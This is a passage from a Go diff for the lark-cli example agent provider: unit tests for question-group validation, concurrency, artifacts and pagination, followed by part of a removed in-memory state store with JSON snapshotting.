!ir.Questions[2].MultiSelect || len(ir.Questions[2].Options) != 3 {
t.Fatalf("question shapes wrong: %+v", ir.Questions)
}
for _, q := range ir.Questions {
if !agents.KeyPattern.MatchString(q.QuestionID) {
t.Errorf("minted question_id must satisfy KeyPattern, got %q", q.QuestionID)
}
}
// Per-group suffix: all three ids share ONE suffix (creation-minted, §6.2 —
// per-question suffixes would break the group-anchor staleness design)…
suffix := t1.InputRequired.Questions[0].QuestionID
suffix = suffix[strings.LastIndex(suffix, "_")+1:]
for _, q := range t1.InputRequired.Questions {
if !strings.HasSuffix(q.QuestionID, "_"+suffix) {
t.Errorf("all question ids must share the group suffix %q, got %q", suffix, q.QuestionID)
}
}
// …and a SECOND group (new ask in the same context) mints a different one —
// the stale-retry protection.
t2, err := plannerSend(ctx, rt, agents.SendInput{ContextID: t1.ContextID, Text: "再来一份"})
if err != nil {
t.Fatal(err)
}
q2id := t2.InputRequired.Questions[0].QuestionID
if q2id == t1.InputRequired.Questions[0].QuestionID {
t.Errorf("a successor group must mint different question ids, both got %q", q2id)
}
done, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
})
if err != nil {
t.Fatalf("answering the group: %v", err)
}
if done.State != agents.StateCompleted {
t.Fatalf("answered task should be completed, got %s", done.State)
}
var acceptReply string
for i := len(done.Messages) - 1; i >= 0; i-- {
if done.Messages[i].Role == "agent" && len(done.Messages[i].Parts) > 0 {
acceptReply = done.Messages[i].Parts[0].Text
break
}
}
if !strings.Contains(acceptReply, "按大区") || !strings.Contains(acceptReply, "2024 全年") {
t.Errorf("acceptance reply should resolve option ids to labels and echo text answers, got %q", acceptReply)
}
// Second submission (another endpoint / a retry whose first attempt landed):
// failed_precondition + resolved_answers echoing what won.
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
})
if err == nil {
t.Fatal("re-answering a resolved group should fail")
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("re-answer should be failed_precondition, got %+v (%v)", p, err)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.ResolvedAnswers == nil {
t.Fatalf("re-answer must carry resolved_answers (who won), got %+v", verr)
}
if v := verr.ResolvedAnswers[ir.Questions[0].QuestionID]; len(v) != 1 || v[0] != "by_region" {
t.Errorf("resolved_answers should echo the accepted set, got %v", verr.ResolvedAnswers)
}
}
// TestPlannerCollectAllValidation pins the strict-posture server validation in
// one submission: an unknown key (stale retry), a bad option, a skip+value
// conflict, and a missing question are ALL reported in one invalid_argument
// whose params[] carry the Reason enum and the question declaration — and the
// rejected submission changes nothing.
func TestPlannerCollectAllValidation(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
ir := t1.InputRequired
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID,
Answers: map[string][]string{
"q1_stale": {"by_region"}, // 陈旧/拼错键 → unknown_question
ir.Questions[0].QuestionID: {"nonexistent"}, // 非法选项 → invalid_option
ir.Questions[2].QuestionID: {"east", "skip"}, // skip 与实值互斥 → conflict
// Questions[1] 未答 → missing
},
})
if err == nil {
t.Fatal("a violating submission should error")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("want invalid_argument, got %+v (%v)", p, err)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatal(err)
}
reasons := map[string]string{}
for _, ip := range verr.Params {
reasons[ip.Reason] = ip.Name
}
for _, want := range []string{"unknown_question", "invalid_option", "conflict", "missing"} {
if _, hit := reasons[want]; !hit {
t.Errorf("collect-all params should include reason %q, got %v", want, verr.Params)
}
}
if !strings.Contains(p.Hint, "整组重发") {
t.Errorf("hint must state the full-group resend rule, got %q", p.Hint)
}
got, err := getTask(ctx, rt, t1.TaskID)
if err != nil {
t.Fatal(err)
}
if got.State != agents.StateInputRequired {
t.Errorf("a rejected submission must change nothing, got state=%s", got.State)
}
}
// TestPlannerBareTextNoSiblingFork pins the §6.5 rule: a bare --text aimed at
// the paused task is rejected with guidance toward --answer — it must NOT fork
// a sibling task (the pre-v0.3 behavior this replaces).
func TestPlannerBareTextNoSiblingFork(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Text: "按大区吧",
})
if err == nil {
t.Fatal("bare --text at a paused select-question group should be rejected")
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument || !strings.Contains(p.Hint, "--answer") {
t.Fatalf("rejection should guide to --answer, got %+v (%v)", p, err)
}
// No sibling task was created: the context still holds exactly one task.
tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(tasks) != 1 {
t.Fatalf("bare --text must not fork a sibling task, got %d tasks", len(tasks))
}
}
// TestNewTurnRejectsAnswers pins the no-silent-drop bottom line on born-terminal
// agents: reporter passes the CLI's input_required capability gate, so its hook
// must reject --answer loudly instead of consuming it as a plain turn.
func TestNewTurnRejectsAnswers(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter"}
_, err := reporterSend(context.Background(), rt, agents.SendInput{
Answers: map[string][]string{"q1": {"x"}},
})
if err == nil {
t.Fatal("answers at a born-terminal agent should be rejected, not dropped")
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("want failed_precondition, got %+v (%v)", p, err)
}
}
// TestReporterParamsBinding locks the declaration↔consumption contract: the
// reporterSendParams struct tags must reference params declared on send with
// compatible kinds (a renamed/retyped declaration fails here in CI, not as a
// silent zero value at runtime).
func TestReporterParamsBinding(t *testing.T) {
agenttest.CheckParamsBinding[reporterSendParams](t, &reporterSpec, agents.VerbSend)
}
// TestReporterConsumesParams drives reporterSend with framework-style resolved
// params (defaults backfilled) and pins that BindParams feeds the reply: the
// default shape keeps the historical reply, a non-default format changes it.
func TestReporterConsumesParams(t *testing.T) {
swapStore(t)
ctx := context.Background()
// defaults → historical reply, byte-identical
rt := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "csv", "quarters": "4"}}
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
if got := agentReply(t, task); !strings.HasPrefix(got, "报表已生成quarterly_report.csv") {
t.Fatalf("default params should keep the historical reply, got %q", got)
}
// non-default format → the reply reflects the params
rt2 := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "xlsx", "quarters": "6"}}
task2, err := reporterSend(ctx, rt2, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
if got := agentReply(t, task2); !strings.Contains(got, "xlsx") || !strings.Contains(got, "6 个季度") {
t.Fatalf("params should feed the reply, got %q", got)
}
}
// TestReporterRenderObject drives the object param end to end on the reference
// provider: framework-style resolved leaves reach the hook, the nested struct
// binds, and the reply reflects them.
func TestReporterRenderObject(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter", params: map[string]string{
"report_format": "csv", "quarters": "4",
"render.theme": "dark", "render.watermark": "true",
}}
task, err := reporterSend(context.Background(), rt, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
if got := agentReply(t, task); !strings.Contains(got, "dark 主题,含水印") {
t.Fatalf("render object should feed the reply, got %q", got)
}
}
// TestReporterArtifactFlow verifies the full artifact chain.
func TestReporterArtifactFlow(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter"}
ctx := context.Background()
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "本季度报表"})
if err != nil {
t.Fatal(err)
}
if len(task.Artifacts) != 1 {
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
}
art := task.Artifacts[0]
if art.ID == "" || art.Kind != "text" {
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
}
data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
if err != nil {
t.Fatalf("downloadArtifact: %v", err)
}
if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
t.Errorf("suggested_name/mime wrong: %+v", data)
}
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
}
if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
t.Fatal("unknown artifact id should return an error")
} else if _, ok := errs.ProblemOf(err); !ok {
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
}
}
// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
// for a terminal task (the mock task is completed the moment it is sent).
func TestReporterCancelTerminal(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "reporter"}
ctx := context.Background()
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
err = cancelTask(ctx, rt, task.TaskID)
if err == nil {
t.Fatal("canceling a terminal task should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
}
}
// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
// framework's LookupSpec (with a hint pointing to agents list example).
func TestUnknownCatalogID(t *testing.T) {
_, _, _, err := agents.LookupSpec("example:nonexistent")
if err == nil {
t.Fatal("an unknown catalog id should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
}
}
// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
// unknown context id.
func TestSendGuards(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
ctx := context.Background()
_, err := echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
}
_, err = echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_missing"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
}
}
// TestDeleteContext verifies deleting a context also cleans up its tasks.
func TestDeleteContext(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
ctx := context.Background()
task, err := echoSend(ctx, rt, agents.SendInput{Text: "bye"})
if err != nil {
t.Fatal(err)
}
if err := deleteContext(ctx, rt, task.ContextID); err != nil {
t.Fatal(err)
}
if _, err := getTask(ctx, rt, task.TaskID); err == nil {
t.Fatal("after deleting the context its tasks should be unqueryable")
}
ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 0 {
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
}
}
// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
// active_task is the task with the LATEST updated_at (not the last created), the
// rollup counts tasks and flags awaiting_input, and an input_required active
// task's summary is its pending prompt. It seeds the store directly with
// out-of-creation-order timestamps so "latest updated_at wins" is tested
// independently of insertion order.
func TestContextRollupPicksLatestUpdated(t *testing.T) {
swapStore(t)
store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
store.Contexts["ctx_1"] = &contextRecord{
AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
}
store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agents.AgentTask{
TaskID: "t_a", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
}}
// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agents.AgentTask{
TaskID: "t_b", ContextID: "ctx_1", State: agents.StateInputRequired,
UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "按大区还是品类拆?"}}},
}}
store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agents.AgentTask{
TaskID: "t_c", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
}}
rt := fakeRuntime{agentID: "echo"}
detail, err := getContext(context.Background(), rt, "ctx_1")
if err != nil {
t.Fatal(err)
}
if detail.TaskCount == nil || *detail.TaskCount != 3 {
t.Errorf("task_count should be 3, got %+v", detail)
}
if !detail.AwaitingInput {
t.Error("awaiting_input should be true (t_b is input_required)")
}
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
}
if detail.ActiveTask.Summary != "按大区还是品类拆?" {
t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
}
if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
}
// context list carries the same rollup.
ctxs, _, err := listContexts(context.Background(), rt, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 1 {
t.Fatalf("expected 1 context, got %d", len(ctxs))
}
if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || !ctxs[0].AwaitingInput {
t.Errorf("context summary rollup wrong: %+v", ctxs[0])
}
}
// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
// and that an input_required task prefers its pending prompt over the last agent
// message.
func TestTaskSummaryText(t *testing.T) {
long := strings.Repeat("字", 250)
got := taskSummaryText(agents.AgentTask{Messages: agentMessage(long)})
if n := len([]rune(got)); n != summaryMaxRunes {
t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
}
prompt := taskSummaryText(agents.AgentTask{
State: agents.StateInputRequired,
InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "补充预算区间?"}}},
Messages: agentMessage("忽略我"),
})
if prompt != "补充预算区间?" {
t.Errorf("input_required summary should be the pending question, got %q", prompt)
}
multi := taskSummaryText(agents.AgentTask{
State: agents.StateInputRequired,
InputRequired: &agents.InputRequired{Label: "报表生成确认",
Questions: []agents.Question{{QuestionID: "q1_x", Question: "a?"}, {QuestionID: "q2_x", Question: "b?"}}},
})
if multi != "报表生成确认(共 2 题)" {
t.Errorf("multi-question summary should be label + count, got %q", multi)
}
}
// agentMessage builds a single agent-role text message for seeding task fixtures.
func agentMessage(text string) []agents.Message {
return []agents.Message{{Role: "agent", Parts: []agents.Part{{Type: "text", Text: text}}}}
}
// agentReply returns the first text reply from the agent role in the task.
func agentReply(t *testing.T, task *agents.AgentTask) string {
t.Helper()
for _, m := range task.Messages {
if m.Role != "agent" {
continue
}
for _, part := range m.Parts {
if part.Type == "text" {
return part.Text
}
}
}
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
return ""
}
// TestListTasksPagination pins the offset-cursor pagination of the store's
// listTasks: seed 5 tasks in one context, walk them 2 at a time, and assert the
// HasMore / NextToken contract plus no cross-page overlap. Ordering is
// most-recent-first (Seq descending).
func TestListTasksPagination(t *testing.T) {
swapStore(t)
ctx := context.Background()
rt := fakeRuntime{agentID: "echo"}
first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
if err != nil {
t.Fatal(err)
}
ctxID := first.ContextID
for _, text := range []string{"m1", "m2", "m3", "m4"} {
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
t.Fatal(err)
}
}
p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
if len(p1) != 2 {
t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
}
if !info1.HasMore || info1.NextToken == "" {
t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
}
p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info1.NextToken})
if len(p2) != 2 {
t.Fatalf("page 2 should have 2 tasks, got %d", len(p2))
}
if !info2.HasMore || info2.NextToken == "" {
t.Fatalf("page 2 should report more pages with a cursor, got %+v", info2)
}
seen := map[string]bool{p1[0].TaskID: true, p1[1].TaskID: true}
if seen[p2[0].TaskID] || seen[p2[1].TaskID] {
t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
}
p3, info3 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info2.NextToken})
if len(p3) != 1 {
t.Fatalf("page 3 (final) should have the last 1 task, got %d", len(p3))
}
if info3.HasMore || info3.NextToken != "" {
t.Fatalf("page 3 is the last page: HasMore=false, NextToken empty, got %+v", info3)
}
}
// TestListTasksPaginationExactBoundary pins the no-phantom-page contract when the
// total is an exact multiple of the page size: 4 tasks at size 2 yield a full
// first page (HasMore=true, NextToken="2") and a full SECOND page that is also
// the last (HasMore=false, NextToken=""), never a spurious empty page 3.
func TestListTasksPaginationExactBoundary(t *testing.T) {
swapStore(t)
ctx := context.Background()
rt := fakeRuntime{agentID: "echo"}
first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
if err != nil {
t.Fatal(err)
}
ctxID := first.ContextID
for _, text := range []string{"m1", "m2", "m3"} {
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
t.Fatal(err)
}
}
p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
if len(p1) != 2 {
t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
}
if !info1.HasMore || info1.NextToken != "2" {
t.Fatalf("page 1 should report more pages with NextToken \"2\", got %+v", info1)
}
p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: "2"})
if len(p2) != 2 {
t.Fatalf("page 2 (final) should have the last 2 tasks, got %d", len(p2))
}
if info2.HasMore || info2.NextToken != "" {
t.Fatalf("page 2 is the last page (no phantom empty page 3): HasMore=false, NextToken empty, got %+v", info2)
}
}
// TestListContextsPagination pins the same offset-cursor contract for the store's
// listContexts: 3 contexts, page-size 2 → first page of 2 with more, then a final
// page of 1 with no more.
func TestListContextsPagination(t *testing.T) {
swapStore(t)
ctx := context.Background()
rt := fakeRuntime{agentID: "echo"}
for _, text := range []string{"c0", "c1", "c2"} {
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text}); err != nil { // no ContextID ⇒ new context each time
t.Fatal(err)
}
}
p1, info1 := store.listContexts("echo", agents.PageParams{Size: 2})
if len(p1) != 2 {
t.Fatalf("page 1 should have 2 contexts, got %d", len(p1))
}
if !info1.HasMore || info1.NextToken == "" {
t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
}
p2, info2 := store.listContexts("echo", agents.PageParams{Size: 2, Token: info1.NextToken})
if len(p2) != 1 {
t.Fatalf("page 2 (final) should have the last 1 context, got %d", len(p2))
}
if info2.HasMore || info2.NextToken != "" {
t.Fatalf("page 2 is the last page: HasMore=false, NextToken empty, got %+v", info2)
}
if p1[0].ContextID == p2[0].ContextID || p1[1].ContextID == p2[0].ContextID {
t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
}
}
// TestPlannerCountAndAliasRules pins the remaining §4.2/§6.3 value rules the
// main flow doesn't reach: count_violation on both branches (single-select
// with two picks; text question with two bare values), the bare-value alias on
// a text question (MUST be accepted as .text), and the .text supplement on a
// single-select never counting toward cardinality.
func TestPlannerCountAndAliasRules(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
ir := t1.InputRequired
q1, q2, q3 := ir.Questions[0].QuestionID, ir.Questions[1].QuestionID, ir.Questions[2].QuestionID
// count_violation: two picks on the single-select, two bare texts on the
// text question.
_, err = plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID,
Answers: map[string][]string{
q1: {"by_region", "by_category"},
q2: {"a", "b"},
q3: {"east"},
},
})
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatal(err)
}
counts := 0
for _, ip := range verr.Params {
if ip.Reason == "count_violation" {
counts++
}
}
if counts != 2 {
t.Fatalf("both count_violation branches should fire, got %+v", verr.Params)
}
// Accept path: bare-value alias on the text question + .text supplement on
// the single-select (never counted toward cardinality).
done, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID,
Answers: map[string][]string{
q1: {"by_region"},
q1 + ".text": {"海外先不算"},
q2: {"2024 全年"}, // bare alias of .text
q3: {"east"},
},
})
if err != nil {
t.Fatalf("alias + supplement must be accepted: %v", err)
}
if done.State != agents.StateCompleted {
t.Fatalf("got %s", done.State)
}
}
// TestPlannerGroupSurvivesReload pins the §6.2 conformance promise: keys are
// minted at creation and persist — a FRESH store instance (new process) replays
// identical question ids, and answering with those ids still routes.
func TestPlannerGroupSurvivesReload(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
ids := []string{t1.InputRequired.Questions[0].QuestionID, t1.InputRequired.Questions[1].QuestionID, t1.InputRequired.Questions[2].QuestionID}
store = newMemoryStore(store.path) // simulate a fresh CLI process
got, err := getTask(ctx, rt, t1.TaskID)
if err != nil {
t.Fatal(err)
}
for i, q := range got.InputRequired.Questions {
if q.QuestionID != ids[i] {
t.Fatalf("question ids must be identical across processes (render-time minting is non-conforming): %v vs %v", q.QuestionID, ids[i])
}
}
if _, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(got.InputRequired),
}); err != nil {
t.Fatalf("answering with reloaded ids must route: %v", err)
}
}
// TestPlannerConcurrentAnswers pins §6.7 atomicity: two racing submissions get
// exactly one winner; the loser sees failed_precondition with resolved_answers
// equal to the winner's set.
func TestPlannerConcurrentAnswers(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
if err != nil {
t.Fatal(err)
}
answers := plannerAnswers(t1.InputRequired)
errsCh := make(chan error, 2)
for i := 0; i < 2; i++ {
go func() {
_, err := plannerSend(ctx, rt, agents.SendInput{
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: answers,
})
errsCh <- err
}()
}
e1, e2 := <-errsCh, <-errsCh
if (e1 == nil) == (e2 == nil) {
t.Fatalf("exactly one submission must win, got %v / %v", e1, e2)
}
loser := e1
if loser == nil {
loser = e2
}
var verr *errs.ValidationError
if !errors.As(loser, &verr) || verr.ResolvedAnswers == nil {
t.Fatalf("loser must get failed_precondition with resolved_answers, got %v", loser)
}
}

View File

@@ -1,679 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"time"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/vfs"
)
// ============================================================================
// In-memory state machine (teaching focus: concurrency safety of package-level
// state + the CLI process boundary)
//
// A real provider's context/task state lives on the server, so the adapter is
// naturally stateless; example is a pure mock and must manage state itself. Two
// disciplines the integrator needs to know:
//
// 1. Concurrency safety: package-level mutable state must be locked. A single
// coarse-grained Mutex covers all reads and writes here — the mock does not
// chase throughput; correctness comes first.
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
// in-memory map does not survive a single command — after `send`, a
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
// demo chain work across commands. A real provider neither needs nor should
// have this layer — it is a mock-only demo device.
//
// Note that the snapshot is loaded lazily (only on the first real read/write of
// state): provider registration is a pure declarative Register(Provider) call
// (see agent/register.go) with no construction and no side effects, so nothing
// touches store at registration time — the snapshot is read on the first hook
// invocation, not at init.
// ============================================================================
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
// + creation sequence number (list output sorts by creation order to guarantee
// stable enumeration).
type taskRecord struct {
AgentID string `json:"agent_id"`
Seq int `json:"seq"`
Task agents.AgentTask `json:"task"`
// Accepted is the acceptance record of the task's question group (§10.1 key
// encoding), written atomically with the state transition: it is what a
// late/second submission gets echoed back as resolved_answers — the
// machine-readable "who won" signal.
Accepted map[string][]string `json:"accepted,omitempty"`
}
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
// demonstrate "context memory".
type contextRecord struct {
AgentID string `json:"agent_id"`
ContextID string `json:"context_id"`
CreatedAt string `json:"created_at"`
Title string `json:"title,omitempty"`
Seq int `json:"seq"`
TaskIDs []string `json:"task_ids"`
}
// memoryStore is the package-level state machine itself: mu covers all fields;
// path is the JSON snapshot location; loaded ensures the snapshot is read only
// once, on first access.
type memoryStore struct {
mu sync.Mutex
path string
loaded bool
Contexts map[string]*contextRecord `json:"contexts"`
Tasks map[string]*taskRecord `json:"tasks"`
NextSeq int `json:"next_seq"`
}
// store is the package-level singleton. Tests use swapStoreForTest to replace it
// with an instance pointing at t.TempDir, avoiding cross-contamination between
// tests and between tests and the local demo state.
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agents.json"))
func newMemoryStore(path string) *memoryStore {
return &memoryStore{
path: path,
Contexts: map[string]*contextRecord{},
Tasks: map[string]*taskRecord{},
}
}
// loadLocked lazily reads in the snapshot (the caller must already hold the
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
// mock's demo data is not worth erroring over, so it just starts fresh.
func (s *memoryStore) loadLocked() {
if s.loaded {
return
}
s.loaded = true
data, err := vfs.ReadFile(s.path)
if err != nil {
return
}
var snap memoryStore
if json.Unmarshal(data, &snap) != nil {
return
}
if snap.Contexts != nil {
s.Contexts = snap.Contexts
}
if snap.Tasks != nil {
s.Tasks = snap.Tasks
}
s.NextSeq = snap.NextSeq
}
// saveLocked writes the current state back to the snapshot (the caller must
// already hold the lock). A write failure returns a typed internal error
// (storage subtype) — the mock does not swallow errors either: silently losing
// state would make the next command report "task not found", which is harder to
// diagnose than a clear error.
func (s *memoryStore) saveLocked() error {
data, err := json.MarshalIndent(s, "", " ")
if err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
}
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
}
return nil
}
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
// deliberately aligns with the command layer's meta.next interpolation
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
// string "the AI copies and runs", and an id with shell metacharacters would
// cause the whole hint to be suppressed.
func newID(prefix string) string {
var b [6]byte
if _, err := rand.Read(b[:]); err != nil {
// crypto/rand being unavailable is an environment-level failure; the mock
// degrades to a timestamp that still satisfies the character set.
return prefix + "_" + time.Now().UTC().Format("20060102150405")
}
return prefix + "_" + hex.EncodeToString(b[:])
}
// newGroupSuffix mints the per-group question-id suffix (4 hex chars,
// key-safe): random at GROUP-CREATION time — the randomness is what makes a
// successor group's minted ids necessarily differ (§6.2 cross-group
// uniqueness), which in turn is what makes a stale retry hit unknown_question
// instead of silently answering the next group.
func newGroupSuffix() string {
var b [2]byte
if _, err := rand.Read(b[:]); err != nil {
return time.Now().UTC().Format("0405")
}
return hex.EncodeToString(b[:])
}
// createContext creates a new context and returns its id (the first-turn send goes here).
func (s *memoryStore) createContext(agentID, title string) (string, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
id := newID("ctx")
s.NextSeq++
s.Contexts[id] = &contextRecord{
AgentID: agentID,
ContextID: id,
CreatedAt: time.Now().UTC().Format(time.RFC3339),
Title: title,
Seq: s.NextSeq,
}
return id, s.saveLocked()
}
// createTask appends a task under ctxID: validate context ownership → compute
// the round (which task number in this conversation) → call build under the lock
// to construct the task → insert and write the snapshot. build runs inside the
// lock to guarantee "compute the round" and "store the task" are atomic, so two
// concurrent sends never get the same round.
// An unknown / cross-agents context id returns a typed validation error (teaching
// point: every error a provider returns must be typed — a bare error would land
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
// argument", semantically invalid_argument/exit 2, and the AI relies on this
// classification to decide between "fix the argument and retry" and "report an
// environment failure").
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agents.AgentTask) (agents.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
}
